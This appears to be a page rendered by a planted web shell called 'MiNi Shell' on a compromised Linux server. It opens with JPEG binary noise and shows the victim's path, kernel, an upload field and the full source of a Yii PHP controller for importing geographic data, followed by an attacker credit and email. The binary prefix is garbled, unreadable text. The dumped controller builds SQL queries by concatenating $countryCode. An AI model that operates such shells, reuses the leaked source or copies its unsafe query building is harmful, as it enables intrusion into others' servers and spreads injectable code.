JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/GeoController.php

<?php

namespace console\controllers;

use \Yii;
use \yii\console\Controller;
use \yii\helpers\Console;
use common\models\GeoCommunesTypes;
use common\models\GeoLocalitiesTypes;
use common\models\GeoRegions;
use common\models\GeoCounties;
use common\models\GeoLocalities;
use common\models\GeoPna;

class GeoController extends Controller
{    
    public function actionImport($countryCode) 
    {
//        $transaction = Yii::$app->dbTest->beginTransaction();
//        
//        $path = Yii::getAlias('@runtime/temp/dane.csv');
//        $file = fopen($path, 'r'); 
//        $count = 0;
//        $i = 0;
//        $data = [];
//        while($row = fgetcsv($file, 0, ",")) {  
//            $count++;
//            if(empty($row[3])) {
//                $row[3] = null;
//            }
//            $i = intval($count / 1000);            
//            $data[$i][] = $row;
////            if($count > 10) {
////                break;
////            }
//        }
//
//        foreach($data as $set) {
//            try {
//                Yii::$app->dbTest->createCommand()->batchInsert(
//                    'geo', 
//                    ['id', 'name', 'canonical_name', 'parent_id', 'country_code', 'target_type', 'status'], 
//                    $set
//                )->execute();
//            } catch(\yii\db\Exception $e) {
//                $transaction->rollBack();
//                $this->stderr($e->getMessage());
//                return Controller::EXIT_CODE_ERROR;
//            }
//        }
//                
//        $transaction->commit();
//        

        $command = Yii::$app->dbTest->createCommand('SELECT id, name FROM geo WHERE country_code = \''.$countryCode.'\' AND target_type = \'Region\'');
        $rows = $command->queryAll();
        
        $regionsData = [];
        foreach($rows as $row) {
            $regionsData[] = [$row['id'], $countryCode, $row['name']];
        }
//        var_dump($regionsData);
        $transaction = Yii::$app->db->beginTransaction();
        
//        try {
//            Yii::$app->db->createCommand()->batchInsert(
//                'regions', 
//                ['id_region', 'id_country', 'name'], 
//                $regionsData
//            )->execute();
//        } catch(\yii\db\Exception $e) {
//            $transaction->rollBack();
//            $this->stderr($e->getMessage());
//            return Controller::EXIT_CODE_ERROR;
//        }
//        $transaction->commit();
//        
//        return Controller::EXIT_CODE_NORMAL;
        
        $command = Yii::$app->dbTest->createCommand('SELECT id, parent_id, name FROM geo WHERE country_code = \''.$countryCode.'\' AND target_type = \'City\'');
        $rows = $command->queryAll();
        var_dump(count($rows)); 
        if(!empty($rows)) {        
            $localitiesData = [];
            $counter = 0;
            $localitiesTotal = count($rows);
            foreach($rows as $key => $row) {
                $localitiesData[] = [$row['parent_id'], $row['name'], 'miasto'];
                $counter++;
                if($counter > 99 || ($key+1) === $localitiesTotal) {
                    try {
//                        Yii::$app->db->createCommand()->batchInsert(
//                            'localities', 
//                            ['id_region', 'name', 'locality_type'], 
//                            $localitiesData
//                        )->execute();
                    } catch(\yii\db\Exception $e) {
                        $transaction->rollBack();
                        $this->stderr($e->getMessage());
                        return Controller::EXIT_CODE_ERROR;
                    }
                    $localitiesData = [];
                    $counter = 0;
                }
            }        
        }
        
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionImportRegions($countryCode) 
    {
        if(\common\models\Regions::find()->where(['id_country' => $countryCode])->exists()) {
            $this->stderr('Regions of selected country already exists in database.');
            return Controller::EXIT_CODE_ERROR;
        }

        $command = Yii::$app->dbTest->createCommand('SELECT id, name FROM geo WHERE country_code = \''.$countryCode.'\' AND target_type = \'State\'');
        $rows = $command->queryAll();
        
        if(empty($rows)) {
            $this->stderr('No regions for selected country.');
            return Controller::EXIT_CODE_ERROR;
        }
        
        $regionsData = [];
        foreach($rows as $row) {
            $regionsData[] = [$row['id'], $countryCode, $row['name']];
        }
//        var_dump($regionsData);
        $transaction = Yii::$app->db->beginTransaction();
        
        try {
            Yii::$app->db->createCommand()->batchInsert(
                'regions', 
                ['id_region', 'id_country', 'name'], 
                $regionsData
            )->execute();
        } catch(\yii\db\Exception $e) {
            $transaction->rollBack();
            $this->stderr($e->getMessage());
            return Controller::EXIT_CODE_ERROR;
        }
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    public function actionImportCities($countryCode) 
    {        
        $idsRegions = \common\models\Regions::find()->select(['id_region'])->where(['id_country' => $countryCode])->column();
        if(\common\models\Localities::find()->where(['id_region' => $idsRegions])->exists()) {
            $this->stderr('Cities of selected country already exists in database.');
            return Controller::EXIT_CODE_ERROR;
        }
        
        $command = Yii::$app->dbTest->createCommand('SELECT g1.id, g2.target_type as parent_target_type FROM geo as g1, geo as g2 WHERE g1.parent_id = g2.id AND g1.country_code = \''.$countryCode.'\' AND g1.target_type = \'City\'');
        $rows = $command->queryAll();
        if(empty($rows)) {
            $this->stderr('No cities for selected country.');
            return Controller::EXIT_CODE_ERROR;
        }
        $recordsWithErrors = [];
        foreach($rows as $row) {
            if($row['parent_target_type'] !== 'State') {
                $recordsWithErrors[] = $row['id'];
            }
        }
        if(!empty($recordsWithErrors)) {
            $this->stderr('Cities: '. implode(", ", $recordsWithErrors).' are not related with regions.');
            return Controller::EXIT_CODE_ERROR;
        }
        
        $command = Yii::$app->dbTest->createCommand('SELECT id, parent_id, name FROM geo WHERE country_code = \''.$countryCode.'\' AND target_type = \'City\'');
        $rows = $command->queryAll();     
        $localitiesData = [];
        $counter = 0;
        $localitiesTotal = count($rows);
        $transaction = Yii::$app->db->beginTransaction();
        foreach($rows as $key => $row) {
            $localitiesData[] = [$row['parent_id'], $row['name'], 'miasto'];
            $counter++;
            if($counter > 99 || ($key+1) === $localitiesTotal) {
                try {
                    Yii::$app->db->createCommand()->batchInsert(
                        'localities', 
                        ['id_region', 'name', 'locality_type'], 
                        $localitiesData
                    )->execute();
                } catch(\yii\db\Exception $e) {
                    $transaction->rollBack();
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }
                $localitiesData = [];
                $counter = 0;
            }
        }
        
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionImportCities2($countryCode, $languageCode) 
    {
        $idCity = Yii::$app->dbTest->createCommand('SELECT id_miasta FROM miasta WHERE kraj = \''.$countryCode.'\'')->queryScalar();
        if($idCity) {
            $this->stderr('Cities of selected country already exists in database.');
            return Controller::EXIT_CODE_ERROR;
        }
                
        $command = Yii::$app->dbTest->createCommand('SELECT id, name FROM geo WHERE country_code = \''.$countryCode.'\' AND target_type = \'City\'');
        $rows = $command->queryAll();     
        $localitiesData = [];
        $counter = 0;
        $localitiesTotal = count($rows);
        $transaction = Yii::$app->dbTest->beginTransaction();
        foreach($rows as $key => $row) {
            $localitiesData[] = [$row['name'], $countryCode, $languageCode];
            $counter++;
            if($counter > 99 || ($key+1) === $localitiesTotal) {
                try {
                    Yii::$app->dbTest->createCommand()->batchInsert(
                        'miasta', 
                        ['nazwa_miasta', 'kraj', 'jezyk'], 
                        $localitiesData
                    )->execute();
                } catch(\yii\db\Exception $e) {
                    $transaction->rollBack();
                    $this->stderr($e->getMessage());
                    return Controller::EXIT_CODE_ERROR;
                }
                $localitiesData = [];
                $counter = 0;
            }
        }
        
        $transaction->commit();
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigrateCommunesTypes()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_communes_types ORDER BY id_geo_commune_type')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoCommunesTypes::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoCommunesTypes::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        foreach($rows as $row) {
            $modelGeoCommuneType = new GeoCommunesTypes(['scenario' => 'create']);
            $modelGeoCommuneType->name = $row['geo_commune_type_name'];
            if(!$modelGeoCommuneType->validate() || !$modelGeoCommuneType->save(false)) {
                $transaction->rollBack();
                $this->stderr('Error while saving model: GeoCommunesTypes.');
                return Controller::EXIT_CODE_ERROR;
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoCommunesTypes saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigrateLocalitiesTypes()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_localities_types ORDER BY id_geo_locality_type')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoLocalitiesTypes::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoLocalitiesTypes::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        foreach($rows as $row) {
            $modelGeoLocalityType = new GeoLocalitiesTypes(['scenario' => 'create']);
            $modelGeoLocalityType->name = $row['geo_locality_type_name'];
            $modelGeoLocalityType->original_key = $row['geo_locality_type_original_key'];
            if(!$modelGeoLocalityType->validate() || !$modelGeoLocalityType->save(false)) {
                $transaction->rollBack();
                $this->stderr('Error while saving model: GeoLocalitiesTypes.');
                return Controller::EXIT_CODE_ERROR;
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoLocalitiesTypes saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigrateRegions()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_regions ORDER BY id_geo_region')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoRegions::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoRegions::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        foreach($rows as $row) {
            $modelGeoRegion = new GeoRegions(['scenario' => 'create']);
            $modelGeoRegion->name = $row['geo_region_name'];
            $modelGeoRegion->original_key = $row['geo_region_original_key'];
            $modelGeoRegion->lat = $row['geo_region_latitude'];
            $modelGeoRegion->lng = $row['geo_region_longitude'];
            if(!$modelGeoRegion->validate() || !$modelGeoRegion->save(false)) {
                $transaction->rollBack();
                $this->stderr('Error while saving model: GeoRegions.');
                return Controller::EXIT_CODE_ERROR;
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoRegions saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigrateCounties()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_counties ORDER BY id_geo_county')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoCounties::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoCounties::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        foreach($rows as $row) {
            $modelGeoCounty = new GeoCounties(['scenario' => 'create']);
            $modelGeoCounty->id_geo_region = $row['id_geo_region'];
            $modelGeoCounty->name = $row['geo_county_name'];
            $modelGeoCounty->original_key = $row['geo_county_original_key'];
            $modelGeoCounty->lat = $row['geo_county_latitude'];
            $modelGeoCounty->lng = $row['geo_county_longitude'];
            if(!$modelGeoCounty->validate() || !$modelGeoCounty->save(false)) {
                $transaction->rollBack();
                $this->stderr('Error while saving model: GeoCounties.');
                return Controller::EXIT_CODE_ERROR;
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoCounties saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigrateLocalities()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_localities ORDER BY id_geo_locality')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoLocalities::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoLocalities::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        $countOfRows  = count($rows);
        $data = [];
        foreach($rows as $key => $row) {
            $data[] = [
                $row['id_geo_region'], $row['id_geo_county'], $row['id_geo_locality_type'], $row['id_geo_commune_type'], 
                $row['geo_locality_name'], $row['geo_locality_original_key'], $row['geo_locality_latitude'], $row['geo_locality_longitude']
            ];
            
            if(count($data) > 100 || ($key+1) === $countOfRows) {
                try {
                    Yii::$app->db->createCommand()->batchInsert(
                        GeoLocalities::tableName(), 
                        ['id_geo_region', 'id_geo_county', 'id_geo_locality_type', 'id_geo_commune_type', 'name', 'original_key', 'lat', 'lng'], 
                        $data
                    )->execute();
                } catch(\yii\db\Exception $e) {
                    $transaction->rollBack();
                    $this->stderr('Error while saving model: GeoLocalities.');
                    return Controller::EXIT_CODE_ERROR;
                }
                $data = [];
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoLocalities saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMigratePna()
    {
        $rows = Yii::$app->dbVproducter->createCommand('SELECT * FROM geo_pna ORDER BY id_geo_pna')->queryAll();

        $transaction = Yii::$app->db->beginTransaction();
        GeoPna::deleteAll();
        Yii::$app->db->createCommand('ALTER SEQUENCE '.Yii::$app->db->schema->getTableSchema(GeoPna::tableName())->sequenceName.' RESTART WITH 1')->execute();        
        
        $countOfRows  = count($rows);
        $data = [];
        foreach($rows as $key => $row) {
            if(empty($row['geo_pna_street'])) {
                $row['geo_pna_street'] = null;
            }
            if(empty($row['geo_pna_street_numbers'])) {
                $row['geo_pna_street_numbers'] = null;
            }
            
            $data[] = [
                $row['geo_pna_postcode'], $row['geo_pna_locality'], $row['geo_pna_street'], $row['geo_pna_street_numbers'], 
                $row['geo_pna_commune'], $row['geo_pna_county'], $row['geo_pna_region'], $row['geo_pna_latitude'], $row['geo_pna_longitude']
            ];
            
            if(count($data) > 100 || ($key+1) === $countOfRows) {
                try {
                    Yii::$app->db->createCommand()->batchInsert(
                        GeoPna::tableName(), 
                        ['postcode', 'locality', 'street', 'street_numbers', 'commune', 'county', 'region', 'lat', 'lng'], 
                        $data
                    )->execute();
                } catch(\yii\db\Exception $e) {
                    $transaction->rollBack();
                    $this->stderr('Error while saving model: GeoPna.');
                    return Controller::EXIT_CODE_ERROR;
                }
                $data = [];
            }
        }
        
        $transaction->commit();
        $this->stdout('Models GeoPna saved correctly.');
        
        return Controller::EXIT_CODE_NORMAL;
    }
}


Creat By MiNi SheLL
Email: jattceo@gmail.com